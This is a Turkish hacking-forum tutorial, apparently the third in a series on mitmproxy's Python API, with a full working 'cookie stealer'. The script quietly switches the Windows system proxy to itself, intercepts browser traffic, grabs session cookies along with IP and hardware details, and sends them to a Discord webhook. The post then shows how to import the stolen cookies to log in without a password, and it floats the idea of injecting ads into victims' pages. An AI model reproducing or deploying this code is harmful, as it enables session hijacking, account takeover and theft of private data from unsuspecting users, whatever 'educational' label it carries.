REHBER #3 HAKKINDA
Merhabalar 1. ve 2. rehberimizde daha çok MITM Proxy'nin request metod kısmı üzerine yoğunlaşmıştık (örneğin birinci dersimizde user agent değiştirmek, 2. dersimizde ise kullanıcının dolduruduğu form verilerini yakalayarak discord sunucumuza log yollamak üzerineydi). Şimdi ise diğer bir method olan "response metod" üzerine duracağız. Response metod bize sunucunun döndürdüğü görüntü yani mesajlardır. Örneğin siz Turk Hack Team web sitesine giriş yaptığınızda sizin önünüze nasıl sitenin logosu, son mesajlar, son konular vb. kısımlar ekranınızda gözüküyorsa bunların hepsi reponse method ile gerçekleşir. MITM Proxy içerisindeki "response" metodu ile kullanıcının önüne gelen her şeyi değiştirebilir, görüntü içeriğini okuyabilirsiniz (biz bu dersimizde daha çok okumak üzerinden gideceğiz çünkü cookie verilerini yakalatmak istiyoruz yani bizim istediğimiz şey reponse mesajının içerisinde kullanıcının giriş yaptığına dair bir ibare bulunmasıdır. Örneğin instagrama girdiğinizda nasıl "kaydedilenler" kısmı sadece giriş yaptığınızda gözüküyorsa bizde bu "kaydedilenleri" yakalayarak kullanıcının giriş yapıp yapmadığını anlıyoruz). Ekstra olarak bu rehberimizde bahsetmeyeceğiz ama ileride bu konuyada değineceğimiz için ufakta olsa görüntüyü (mesajı) değiştirerek nasıl işlemler yapalabileceğimize bir kaç örnek vereyim gerisini sizin hayal dünyanıza bırakıyorum: Mesajları değiştirerek kullanıcının girdiği sitelerdeki reklamları manipüle edebilirsiniz (bunu büyük bir ağa yaydıktan sonra kendi reklam ağınızı bile oluşturabilirsiniz). Girmiş olduğu sitelerdeki metin içeriklerini ve görsel içerikleri değiştirebilirsiniz.
Önemli Bir Not: Virtualenv kurmak, MITM Proxy'nin sertifikasını yüklemek ve proxy ayarlarını yapılandırma kısımları bu rehber üzerinde anlatılmayacaktır. Bu kısımlar 1. rehberimizde açıkça anlatılmıştır. Discord üzerinde güvenilir log sunucusu kurmak ve log sunucusuna mesaj göndermek gibi konularıda 2. rehberimizde ele almıştık. Bu söylediğim kavramlar hakkında bilgi sahibi değilseniz 1. ve 2. konulara, bu konunun en altından ulaşıp oradaki basamaklarada göz atabilirsiniz.
EĞİTİMDE KULLANCAĞIMIZ ÖRNEĞİ TANIYALIM
Konu içerisindede örneğin kaynak kodlarını vereceğim ancak MITM Proxy'nin Python API kısmını yüklemek bazen sancılı olabilyor. Bu nedenle içerisinde requirements.txt'si de bulunan örneğin github sayfasını veriyorum. Burada hazırladığım requirements.txt Python 3.8.6 sürümde stabil olarak çalışmakta, bir virtualenv oluşturarak ve daha sonra virtualenv'i aktif ederek requirements.txt'yi yüklemeniz yeterli olacaktır.
Örneğin GitHub sayfasına gitmek için tıkla.
Python:
import asyncio, winreg, platform, GPUtil, cpuinfo, uuid, wmi, json, requests
from mitmproxy import options, http
from mitmproxy.tools import dump
from rich.console import Console
from discord_webhook import DiscordWebhook, DiscordEmbed
from bs4 import BeautifulSoup
console = Console(width=100)
console.print(f"[bold dark_orange]THT COOKIE STEALER (EĞİTİM AMAÇLIDIR / FOR EDUCATION)[/bold dark_orange]", no_wrap=True)
# SECTION Kodun çalışması için genel ayarlar.
LISTEN_HOST = "127.0.0.1"
LISTEN_PORT = 1881
NET_DUMP_LOG = False
START_PROXY_WHEN_OPENING = True
WEBHOOK_URL = "https://discord.com/api/webhooks/1263589616133476404/zfXIhI40vgT234231i7s-Dui-lt_aPSV3MqrBsJwW0CI4NXvkiptiM9IFCUlJD7wzZfkMhd" # NOTE Bu webhook discord üzerinden silinmiştir örnek olarak koyulmuştur.
# !SECTION
# SECTION Proxy ayarlarını bu iki fonksiyon yapılandırır.
def set_proxy_settings():
try:
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Internet Settings", 0,
winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, "ProxyEnable", 0, winreg.REG_DWORD, 1)
winreg.SetValueEx(registry_key, "ProxyServer", 0, winreg.REG_SZ,
f"{LISTEN_HOST}:{str(LISTEN_PORT)}")
winreg.FlushKey(registry_key)
winreg.CloseKey(registry_key)
except Exception as e:
print("Proxy ayarlarını güncellemede bir hata oluştu:", e)
def disable_proxy_settings():
try:
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Internet Settings", 0,
winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, "ProxyEnable", 0, winreg.REG_DWORD, 0)
winreg.FlushKey(registry_key)
winreg.CloseKey(registry_key)
except Exception as e:
print("Proxy ayarları kaldırılırken bir hata meydana geldi:", e)
# !SECTION
# SECTION HTML kodları aralalığı almak için method.
def parse_html(text, start, end):
try:
return text.split(start)[1].split(end)[0]
except:
return None
# !SECTION
# SECTION Yazılım çalıştığı cihazın bilgilerini çeker.
def get_system_info():
cpu_info = cpuinfo.get_cpu_info()
c = wmi.WMI()
bios_info = c.Win32_BIOS()[0]
system_info = {
"device_name": platform.node(),
"os": platform.system(),
"os_version": platform.version(),
"platform": platform.platform(),
"processor": cpu_info.get('brand_raw', 'Unknown'),
"bios": {
"manufacturer": bios_info.Manufacturer,
"version": bios_info.Version,
"release_date": bios_info.ReleaseDate
},
"hwid": str(uuid.UUID(int=uuid.getnode())),
"gpus": []
}
gpus = GPUtil.getGPUs()
for gpu in gpus:
gpu_info = {
"id": gpu.id,
"name": gpu.name,
"driver_version": gpu.driver,
}
system_info["gpus"].append(gpu_info)
return system_info
# !SECTION
# SECTION Yazılım açıldığında otomatik olarak sistem proxysini ayarlar.
# NOTE İsteğe bağlı genel ayarlardan kapatılabilir.
if START_PROXY_WHEN_OPENING:
set_proxy_settings()
# !SECTION
# SECTION Yazılım ana kod parçacığı.
class RequestLogger:
async def response(self, flow: http.HTTPFlow):
if str(flow.request.url).startswith("https://sandbox.oniyevski.com/cookie-stealer"): # Buradaki bağlantı, 103. satırdaki divin yakalanacağı sayfaynın olduğu bağlantıdır.
get_cookies = flow.request.headers.get("cookie", None)
if get_cookies is not None:
get_cookies = get_cookies.replace(", ", "; ")
original_content = flow.response.get_text()
soup = BeautifulSoup(original_content, 'html.parser')
soup = str(soup)
login_check = parse_html(soup, '<div class="alert alert-success">', '</div>') # Ben sandbox içerisindeki alert divinden kullanıcının siteye giriş yapıp yapmadığını kontrol etmek için, div üzerinden bir yakalama gerçekleştirdim.
if login_check == "Session ve cookie verileri ile giriş yaptınız.":
disable_proxy_settings()
try:
get_ip_adress = requests.get("http://ip-api.com/json/", verify=False).json()
get_ip_adress = json.dumps(get_ip_adress, indent=4, ensure_ascii=False)
except:
get_ip_adress = "Bulunamadı."
system_info = get_system_info()
system_info = json.dumps(system_info, indent=4)
webhook = DiscordWebhook(url=WEBHOOK_URL)
embed = DiscordEmbed(title="MITM PROXY", description="Yeni bir cookie verisi yakalandı.", color="03b2f8")
embed.add_embed_field(name="İstek Yollanılan Adres", value=flow.request.url, inline=False)
embed.add_embed_field(name="IP Bilgisi", value=f"```json\n{get_ip_adress}```", inline=False)
embed.add_embed_field(name="Cihaz Bilgisi", value=f"```json\n{system_info}```", inline=False)
embed.set_footer(text="THT COOKIE STEALER", icon_url="https://upload.wikimedia.org/wikipedia/commons/2/2e/T%C3%BCrkHackTeam_Logo.png")
embed.set_timestamp()
webhook.add_file(get_cookies, f"cookies.txt")
webhook.add_embed(embed)
try:
webhook.execute()
except Exception as e:
print(e)
set_proxy_settings()
# !SECTION
# SECTION Yazılımın asenkron çalışması için gereken kısımlar.
async def start_proxy(host, port):
opts = options.Options(listen_host=host, listen_port=port)
master = dump.DumpMaster(
opts,
with_termlog=NET_DUMP_LOG,
with_dumper=NET_DUMP_LOG,
)
master.addons.add(RequestLogger())
await master.run()
return master
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
async def create_tasks_func(host, port):
tasks = []
tasks.append(asyncio.create_task(start_proxy(host, port)))
await asyncio.wait(tasks)
def main():
try:
loop.run_until_complete(create_tasks_func(LISTEN_HOST, LISTEN_PORT))
loop.close()
except Exception as e:
print(e)
if __name__ == '__main__':
main()
# !SECTION
ÖRNEĞİN ÇALIŞMA MANTIĞI
PROJENİN CİHAZDA ÇALIŞTIRILMASI
1-2-3-4-5-6-7-8. İşlem Basamakları
Proje dosyalarının nasıl indiriceğimiz hakkında, python sanal ortamını (VENV) oluşturmak ve aktif etme, gerekli modülleri yükleme, kodu başlatma, cihazımızı MITM Proxy'e bağlama, isteğe bağı olarak diğer cihazlarımızı MITM Proxy'e bağlama, MITM Proxy sertifikasını yükleme basamaklarını zaten 1. rehberimizde anlatmıştık. 1. rehberimize göz atmadıysanız ve bu paragrafın başında söylediklerim için hiçbir fikriniz yok ise 1. rehberime göz atmanızı öneririm. Ekstra olarak 7 ve 8. basamaklara (discord log server kurma ve webhook oluşturma basamaklarına) 2. konumuz üzerinde detaylı anlatmıştık, 2. konuya bu konunun en altından ulaşabilirisiz.
9. Tarayıcıya "Cookie Editor" Uzantısını Kurmak
Cookie-Editor - A safe cookie editor for Chrome, Firefox, Safari, Edge and Opera bağlantısından kendi tarayıcınıza uygun olan cookie editor uzantısını indirebilirisiniz. Bu eklentiyle birlikte yakalamış olduğumuz cookielere kendi tarayıcımızda hızlıca giriş yapabileceğiz. (Uzantının gizli sekmede çalışmasını aktif ediniz. Bu özellik test ederken bize yardımcı olacaktır)
10. Kodu Çalıştırmak
İlk konumda bahsettiğim seritifikasyon proxy gibi ayarları ve bu konu içerisinde bahsettiğim ayarları yapılandırdıktan sonra kodumuzu başlatabiliriz. 1. konunun içeriğinde virtualenv ile birlikte kodun nasıl başlatılacağından bahsetmiştik aynı adımları takip ederek kodu başlatabilirsiniz. Ekstra olarak ise bütün adımları tamamıyla takip etmeniz ve kendinize özgü olarak kodu düzenlemeniz şart.
SONUÇLAR
Evet kurulumu ve kendimize göre ayarları yaptığımıza ve kodumuzu çalıştırdığımıza göre şimdi sonuçlara göz atalım. Ben SANDBOX | THT COOKIE STEALER sayfası üzerinden (bu projeyi yasal olarak, eğitim amaçlı test edebilmeniz için hazırladım. Bu sayfa üzerinde 2. konumuzdaki gibi; doldurulan formu yakalama işlemlerinide test edebilirsiniz) test amaçlı olarak alt görseldeki giriş formunu doldurarak yollayacağım ve kodumuzun giriş yaptığımızda ekrana gelen "Session ve cookie verileri ile giriş yaptınız." yazısını okuyacağını ve değerlendireceğini görecek ve discord sunucumuza nasıl log yolladığını inceleyeceğiz.
Önemli Bir Not: Size vermiş olduğum https://sandbox.oniyevski.com/cookie-stealer adresindeki sandboxun giriş bilgileri. "Kullanıcı Adı: admin, Şifre: turkhackteam" dir.
Evet log kaydındada gördüğümüz üzere cookielerimizi yakaladık peki bunları nasıl kullanacağız? Test amaçlı olarak ve garantilemek için tarayıcımızdan gizli sekmeyi açıyoruz ve https://sandbox.oniyevski.com/cookie-stealer adresine gidiyoruz. Aşağıdaki adımları izleyerek çerezlerimizi "hesaba giriş yapmadan" import ediyoruz.
Evet çerezlerimizi import ettik. Şimdi sayfaya F5 atıyoruz. Karşımıza aşağıdaki gibi bir sayfa geldiyse cookie çalma ve hesaba giriş yapma işlemini (kullanıcı adı ve şifre olmadan) başarıyla gerçekleştirik demektir.
Konumu sabırla okuduğunuz için teşekkürler...
ÖNCEKİ KONULARIN BAĞLANTILARI
A'dan Z'ye MITM Proxy Python API Dersleri #1 | 57. Alay | ONIYEVSKI
A'dan Z'ye MITM Proxy Python API Dersleri #2 | 57. Alay | ONIYEVSKI





